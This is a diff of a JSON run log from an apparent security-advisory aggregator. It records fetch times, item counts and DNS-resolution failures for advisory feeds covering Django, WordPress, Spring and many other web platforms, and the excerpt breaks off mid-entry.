"elapsed_seconds": 8.311, - "kind": "html-links", - "items_seen": 270 - }, - { - "system_id": "apache-tomcat", - "source_name": "CISA KEV Tomcat", - "source_kind": "kev-json", - "elapsed_seconds": 7.357, - "kind": "kev-json", - "items_seen": 1551 - }, - { - "system_id": "aspnet-core", - "source_name": "OSV ASP.NET Core", - "source_kind": "osv-batch", - "elapsed_seconds": 8.584, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "astro", - "source_name": "OSV Astro", - "source_kind": "osv-batch", - "elapsed_seconds": 6.5, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "caddy", - "source_name": "OSV Caddy", - "source_kind": "osv-batch", - "elapsed_seconds": 8.477, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "directus", - "source_name": "Directus GitHub Advisories", - "source_kind": "html-links", - "elapsed_seconds": 3.623, - "kind": "html-links", - "items_seen": 127 - }, - { - "system_id": "directus", - "source_name": "OSV Directus", - "source_kind": "osv-batch", - "elapsed_seconds": 1.9, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "discourse", - "source_name": "Discourse Release Notes RSS", - "source_kind": "rss-feed", - "elapsed_seconds": 5.914, - "kind": "rss-feed", - "items_seen": 30 - }, - { - "system_id": "discourse", - "source_name": "Discourse Security RSS", - "source_kind": "rss-feed", - "elapsed_seconds": 1.856, - "kind": "rss-feed", - "items_seen": 3 - }, - { - "system_id": "discourse", - "source_name": "OSV Discourse", - "source_kind": "osv-batch", - "elapsed_seconds": 2.956, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "django", - "source_name": "Django Security Releases Archive", - "source_kind": "vendor-index", - "elapsed_seconds": 8.031, - "kind": "vendor-index", - "items_seen": 1276 - }, - { - "system_id": "django", - "source_name": "Django Security Weblog", - "source_kind": "vendor-index", - "elapsed_seconds": 7.36, - "kind": "vendor-index", - "items_seen": 332 - }, - { - "system_id": "django", - "source_name": "OSV Django", - "source_kind": "osv-batch", - "elapsed_seconds": 9.135, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "drupal", - "source_name": "Drupal Security Advisories RSS", - "source_kind": "rss-feed", - "elapsed_seconds": 2.019, - "kind": "rss-feed", - "items_seen": 20 - }, - { - "system_id": "drupal", - "source_name": "OSV Drupal", - "source_kind": "osv-batch", - "elapsed_seconds": 4.011, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "echo", - "source_name": "OSV Echo", - "source_kind": "osv-batch", - "elapsed_seconds": 8.154, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "esbuild", - "source_name": "OSV esbuild", - "source_kind": "osv-batch", - "elapsed_seconds": 6.553, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "express", - "source_name": "OSV Express", - "source_kind": "osv-batch", - "elapsed_seconds": 5.731, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "fastify", - "source_name": "OSV Fastify", - "source_kind": "osv-batch", - "elapsed_seconds": 7.344, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "flask", - "source_name": "OSV Flask", - "source_kind": "osv-batch", - "elapsed_seconds": 7.6, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "ghost", - "source_name": "Ghost GitHub Advisories", - "source_kind": "html-links", - "elapsed_seconds": 5.314, - "kind": "html-links", - "items_seen": 119 - }, - { - "system_id": "ghost", - "source_name": "OSV Ghost", - "source_kind": "osv-batch", - "elapsed_seconds": 1.851, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "gin", - "source_name": "OSV Gin", - "source_kind": "osv-batch", - "elapsed_seconds": 8.564, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "gitea", - "source_name": "OSV Gitea", - "source_kind": "osv-batch", - "elapsed_seconds": 9.944, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "gitlab-ce", - "source_name": "GitLab Advisory Database", - "source_kind": "html-links", - "elapsed_seconds": 9.337, - "kind": "html-links", - "items_seen": 5 - }, - { - "system_id": "gitlab-ce", - "source_name": "GitLab Security Releases Atom", - "source_kind": "atom-feed", - "elapsed_seconds": 14.369, - "kind": "atom-feed", - "items_seen": 186 - }, - { - "system_id": "grafana", - "source_name": "CISA KEV Grafana", - "source_kind": "kev-json", - "elapsed_seconds": 8.303, - "kind": "kev-json", - "items_seen": 1551 - }, - { - "system_id": "grafana", - "source_name": "Grafana Security Advisories", - "source_kind": "html-links", - "elapsed_seconds": 10.747, - "kind": "html-links", - "items_seen": 159 - }, - { - "system_id": "hapi", - "source_name": "OSV Hapi", - "source_kind": "osv-batch", - "elapsed_seconds": 6.268, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "haproxy", - "source_name": "HAProxy Blog Feed", - "source_kind": "rss-feed", - "elapsed_seconds": 9.659, - "kind": "rss-feed", - "items_seen": 10 - }, - { - "system_id": "jenkins", - "source_name": "Jenkins Security Advisories RSS", - "source_kind": "rss-feed", - "elapsed_seconds": 9.727, - "kind": "rss-feed", - "items_seen": 96 - }, - { - "system_id": "joomla", - "source_name": "Joomla Security Centre", - "source_kind": "html-links", - "elapsed_seconds": 2.006, - "kind": "html-links", - "items_seen": 139 - }, - { - "system_id": "joomla", - "source_name": "OSV Joomla", - "source_kind": "osv-batch", - "elapsed_seconds": 3.21, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "kibana", - "source_name": "Elastic Security Announcements RSS", - "source_kind": "rss-feed", - "elapsed_seconds": 10.238, - "kind": "rss-feed", - "items_seen": 25 - }, - { - "system_id": "koa", - "source_name": "OSV Koa", - "source_kind": "osv-batch", - "elapsed_seconds": 7.928, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "laravel", - "source_name": "OSV Laravel", - "source_kind": "osv-batch", - "elapsed_seconds": 7.44, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "magento-open-source", - "source_name": "Magento GitHub Advisories", - "source_kind": "html-links", - "elapsed_seconds": 5.552, - "kind": "html-links", - "items_seen": 99 - }, - { - "system_id": "magento-open-source", - "source_name": "OSV Magento Open Source", - "source_kind": "osv-batch", - "elapsed_seconds": 3.052, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "magento-open-source", - "source_name": "Sansec Research", - "source_kind": "html-links", - "elapsed_seconds": 3.215, - "kind": "html-links", - "items_seen": 134 - }, - { - "system_id": "mattermost", - "source_name": "Mattermost Security Updates JSON", - "source_kind": "json-feed", - "elapsed_seconds": 10.401, - "kind": "json-feed", - "items_seen": 594 - }, - { - "system_id": "mattermost", - "source_name": "OSV Mattermost", - "source_kind": "osv-batch", - "elapsed_seconds": 10.489, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "mediawiki", - "source_name": "MediaWiki Announce RSS", - "source_kind": "rss-feed", - "elapsed_seconds": 2.538, - "kind": "rss-feed", - "items_seen": 30 - }, - { - "system_id": "mediawiki", - "source_name": "OSV MediaWiki", - "source_kind": "osv-batch", - "elapsed_seconds": 2.656, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "medusa", - "source_name": "OSV Medusa", - "source_kind": "osv-batch", - "elapsed_seconds": 4.961, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "moodle", - "source_name": "OSV Moodle", - "source_kind": "osv-batch", - "elapsed_seconds": 5.735, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "nestjs", - "source_name": "OSV NestJS", - "source_kind": "osv-batch", - "elapsed_seconds": 6.034, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "nextjs", - "source_name": "OSV Next.js", - "source_kind": "osv-batch", - "elapsed_seconds": 5.172, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "nginx", - "source_name": "CISA KEV NGINX", - "source_kind": "kev-json", - "elapsed_seconds": 7.246, - "kind": "kev-json", - "items_seen": 1551 - }, - { - "system_id": "nginx", - "source_name": "NGINX Security Advisories", - "source_kind": "html-links", - "elapsed_seconds": 8.305, - "kind": "html-links", - "items_seen": 138 - }, - { - "system_id": "nodejs", - "source_name": "CISA KEV Node.js", - "source_kind": "kev-json", - "elapsed_seconds": 7.133, - "kind": "kev-json", - "items_seen": 1551 - }, - { - "system_id": "nodejs", - "source_name": "Node.js Security Releases", - "source_kind": "html-links", - "elapsed_seconds": 7.492, - "kind": "html-links", - "items_seen": 74 - }, - { - "system_id": "nuxt", - "source_name": "OSV Nuxt", - "source_kind": "osv-batch", - "elapsed_seconds": 5.22, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "opencart", - "source_name": "OSV OpenCart", - "source_kind": "osv-batch", - "elapsed_seconds": 4.373, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "opencart", - "source_name": "OpenCart Releases", - "source_kind": "html-links", - "elapsed_seconds": 7.974, - "kind": "html-links", - "items_seen": 1500 - }, - { - "system_id": "openmage", - "source_name": "OSV OpenMage", - "source_kind": "osv-batch", - "elapsed_seconds": 3.164, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "openmage", - "source_name": "OpenMage GitHub Advisories", - "source_kind": "html-links", - "elapsed_seconds": 5.279, - "kind": "html-links", - "items_seen": 125 - }, - { - "system_id": "phpmyadmin", - "source_name": "OSV phpMyAdmin", - "source_kind": "osv-batch", - "elapsed_seconds": 9.419, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "phpmyadmin", - "source_name": "phpMyAdmin Security Page", - "source_kind": "html-links", - "elapsed_seconds": 8.568, - "kind": "html-links", - "items_seen": 262 - }, - { - "system_id": "prestashop", - "source_name": "Friends Of Presta Security", - "source_kind": "html-links", - "elapsed_seconds": 4.179, - "kind": "html-links", - "items_seen": 38 - }, - { - "system_id": "prestashop", - "source_name": "GitHub PrestaShop Advisories", - "source_kind": "html-links", - "elapsed_seconds": 6.204, - "kind": "html-links", - "items_seen": 127 - }, - { - "system_id": "prestashop", - "source_name": "OSV PrestaShop", - "source_kind": "osv-batch", - "elapsed_seconds": 3.982, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "prestashop", - "source_name": "PrestaShop Security Page", - "source_kind": "html-links", - "elapsed_seconds": 5.147, - "kind": "html-links", - "items_seen": 60 - }, - { - "system_id": "rails", - "source_name": "OSV Rails", - "source_kind": "osv-batch", - "elapsed_seconds": 7.794, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "react", - "source_name": "OSV React", - "source_kind": "osv-batch", - "elapsed_seconds": 4.695, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "redmine", - "source_name": "OSV Redmine", - "source_kind": "osv-batch", - "elapsed_seconds": 9.523, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "redmine", - "source_name": "Redmine Security Advisories", - "source_kind": "html-links", - "elapsed_seconds": 11.163, - "kind": "html-links", - "items_seen": 371 - }, - { - "system_id": "saleor", - "source_name": "GitHub Saleor Advisories", - "source_kind": "html-links", - "elapsed_seconds": 6.769, - "kind": "html-links", - "items_seen": 120 - }, - { - "system_id": "saleor", - "source_name": "OSV Saleor", - "source_kind": "osv-batch", - "elapsed_seconds": 4.633, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "shopware", - "source_name": "OSV Shopware", - "source_kind": "osv-batch", - "elapsed_seconds": 4.5, - "kind": "osv-batch", - "items_seen": 1 - }, - { - "system_id": "shopware", - "source_name": "Shopware Security Advisories", - "source_kind": "html-links", - "elapsed_seconds": 7.029, - "kind": "html-links", - "items_seen": 129 - }, { "system_id": "spring-boot", "source_name": "OSV Spring Boot", "source_kind": "osv-batch", - "elapsed_seconds": 7.246, "kind": "osv-batch", "items_seen": 1 }, @@ -619,7 +18,6 @@ "system_id": "spring-boot", "source_name": "Spring Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 8.829, "kind": "html-links", "items_seen": 118 }, @@ -627,7 +25,6 @@ "system_id": "spring-framework", "source_name": "OSV Spring Framework", "source_kind": "osv-batch", - "elapsed_seconds": 7.046, "kind": "osv-batch", "items_seen": 1 }, @@ -635,7 +32,6 @@ "system_id": "spring-framework", "source_name": "Spring Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 8.829, "kind": "html-links", "items_seen": 118 }, @@ -643,7 +39,6 @@ "system_id": "spring-security", "source_name": "OSV Spring Security", "source_kind": "osv-batch", - "elapsed_seconds": 6.948, "kind": "osv-batch", "items_seen": 1 }, @@ -651,7 +46,6 @@ "system_id": "spring-security", "source_name": "Spring Security Advisories", "source_kind": "html-links", - "elapsed_seconds": 8.829, "kind": "html-links", "items_seen": 118 }, @@ -659,7 +53,6 @@ "system_id": "strapi", "source_name": "OSV Strapi", "source_kind": "osv-batch", - "elapsed_seconds": 1.851, "kind": "osv-batch", "items_seen": 1 }, @@ -667,7 +60,6 @@ "system_id": "strapi", "source_name": "Strapi GitHub Advisories", "source_kind": "html-links", - "elapsed_seconds": 3.474, "kind": "html-links", "items_seen": 124 }, @@ -675,7 +67,6 @@ "system_id": "sveltekit", "source_name": "OSV SvelteKit", "source_kind": "osv-batch", - "elapsed_seconds": 6.197, "kind": "osv-batch", "items_seen": 1 }, @@ -683,7 +74,6 @@ "system_id": "symfony", "source_name": "OSV Symfony", "source_kind": "osv-batch", - "elapsed_seconds": 7.967, "kind": "osv-batch", "items_seen": 1 }, @@ -691,7 +81,6 @@ "system_id": "traefik", "source_name": "OSV Traefik", "source_kind": "osv-batch", - "elapsed_seconds": 8.618, "kind": "osv-batch", "items_seen": 1 }, @@ -699,7 +88,6 @@ "system_id": "undici", "source_name": "OSV Undici", "source_kind": "osv-batch", - "elapsed_seconds": 6.529, "kind": "osv-batch", "items_seen": 1 }, @@ -707,7 +95,6 @@ "system_id": "vite", "source_name": "OSV Vite", "source_kind": "osv-batch", - "elapsed_seconds": 5.501, "kind": "osv-batch", "items_seen": 1 }, @@ -715,7 +102,6 @@ "system_id": "vue", "source_name": "OSV Vue", "source_kind": "osv-batch", - "elapsed_seconds": 5.798, "kind": "osv-batch", "items_seen": 1 }, @@ -723,7 +109,6 @@ "system_id": "webpack", "source_name": "OSV webpack", "source_kind": "osv-batch", - "elapsed_seconds": 6.55, "kind": "osv-batch", "items_seen": 1 }, @@ -731,7 +116,6 @@ "system_id": "werkzeug", "source_name": "OSV Werkzeug", "source_kind": "osv-batch", - "elapsed_seconds": 7.655, "kind": "osv-batch", "items_seen": 1 }, @@ -739,7 +123,6 @@ "system_id": "woocommerce", "source_name": "GitHub WooCommerce Advisories", "source_kind": "html-links", - "elapsed_seconds": 5.838, "kind": "html-links", "items_seen": 107 }, @@ -747,7 +130,6 @@ "system_id": "woocommerce", "source_name": "OSV WooCommerce", "source_kind": "osv-batch", - "elapsed_seconds": 3.582, "kind": "osv-batch", "items_seen": 1 }, @@ -755,7 +137,6 @@ "system_id": "woocommerce", "source_name": "Patchstack Database", "source_kind": "html-links", - "elapsed_seconds": 2.652, "kind": "html-links", "items_seen": 193 }, @@ -763,7 +144,6 @@ "system_id": "woocommerce", "source_name": "Woo Developer Advisories", "source_kind": "html-links", - "elapsed_seconds": 3.315, "kind": "html-links", "items_seen": 121 }, @@ -771,7 +151,6 @@ "system_id": "woocommerce", "source_name": "Wordfence Vulnerability Database", "source_kind": "html-links", - "elapsed_seconds": 2.652, "kind": "html-links", "items_seen": 0 }, @@ -779,7 +158,6 @@ "system_id": "wordpress", "source_name": "Patchstack Database", "source_kind": "html-links", - "elapsed_seconds": 1.91, "kind": "html-links", "items_seen": 193 }, @@ -787,7 +165,6 @@ "system_id": "wordpress", "source_name": "PortSwigger Research", "source_kind": "html-links", - "elapsed_seconds": 4.414, "kind": "html-links", "items_seen": 99 }, @@ -795,15 +172,13 @@ "system_id": "wordpress", "source_name": "WPScan Vulnerability Database", "source_kind": "html-links", - "elapsed_seconds": 2.819, "kind": "html-links", - "items_seen": 74 + "items_seen": 75 }, { "system_id": "wordpress", "source_name": "WordPress Security News RSS", "source_kind": "rss-feed", - "elapsed_seconds": 1.849, "kind": "rss-feed", "items_seen": 10 }, @@ -811,420 +186,1324 @@ "system_id": "wordpress", "source_name": "Wordfence Vulnerability Database", "source_kind": "html-links", - "elapsed_seconds": 1.823, "kind": "html-links", "items_seen": 0 } ], - "failures": [], - "slow_sources": [ + "failures": [ { - "system_id": "gitlab-ce", - "source_name": "GitLab Security Releases Atom", - "source_kind": "atom-feed", - "elapsed_seconds": 14.369, - "status": "ok" - }, - { - "system_id": "redmine", - "source_name": "Redmine Security Advisories", - "source_kind": "html-links", - "elapsed_seconds": 11.163, - "status": "ok" - }, - { - "system_id": "grafana", - "source_name": "Grafana Security Advisories", - "source_kind": "html-links", - "elapsed_seconds": 10.747, - "status": "ok" - }, - { - "system_id": "mattermost", - "source_name": "OSV Mattermost", + "system_id": "adminer", + "display_name": "Adminer", + "source_name": "OSV Adminer", "source_kind": "osv-batch", - "elapsed_seconds": 10.489, - "status": "ok" + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" }, { - "system_id": "mattermost", - "source_name": "Mattermost Security Updates JSON", - "source_kind": "json-feed", - "elapsed_seconds": 10.401, - "status": "ok" + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "source_name": "Adobe Magento Security Index", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://helpx.adobe.com/security/products/magento.html", + "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))" }, { - "system_id": "kibana", - "source_name": "Elastic Security Announcements RSS", + "system_id": "angular", + "display_name": "Angular", + "source_name": "OSV Angular", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "Apache HTTPD Security", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://httpd.apache.org/security/vulnerabilities_24.html", + "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "source_name": "CISA KEV Apache HTTPD", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "Apache Tomcat Security", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://tomcat.apache.org/security-10.html", + "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "source_name": "CISA KEV Tomcat", + "source_kind": "kev-json", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "aspnet-core", + "display_name": "ASP.NET Core", + "source_name": "OSV ASP.NET Core", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "astro", + "display_name": "Astro", + "source_name": "OSV Astro", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "caddy", + "display_name": "Caddy", + "source_name": "OSV Caddy", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "directus", + "display_name": "Directus", + "source_name": "Directus GitHub Advisories", + "source_kind": "html-links", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://github.com/directus/directus/security/advisories", + "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "directus", + "display_name": "Directus", + "source_name": "OSV Directus", + "source_kind": "osv-batch", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Release Notes RSS", "source_kind": "rss-feed", - "elapsed_seconds": 10.238, - "status": "ok" + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://meta.discourse.org/tag/release-notes.rss", + "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "Discourse Security RSS", + "source_kind": "rss-feed", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "https://meta.discourse.org/tag/security.rss", + "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "source_name": "OSV Discourse", + "source_kind": "osv-batch", + "source_bucket": "ecosystem_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", + "status_code": null, + "url": "", + "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" + }, + { + "system_id": "django", + "display_name": "Django", + "source_name": "Django Security Releases Archive", + "source_kind": "vendor-index", + "source_bucket": "official_sources", + "category": "network", + "exception": "ConnectionError", + "message": "HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to 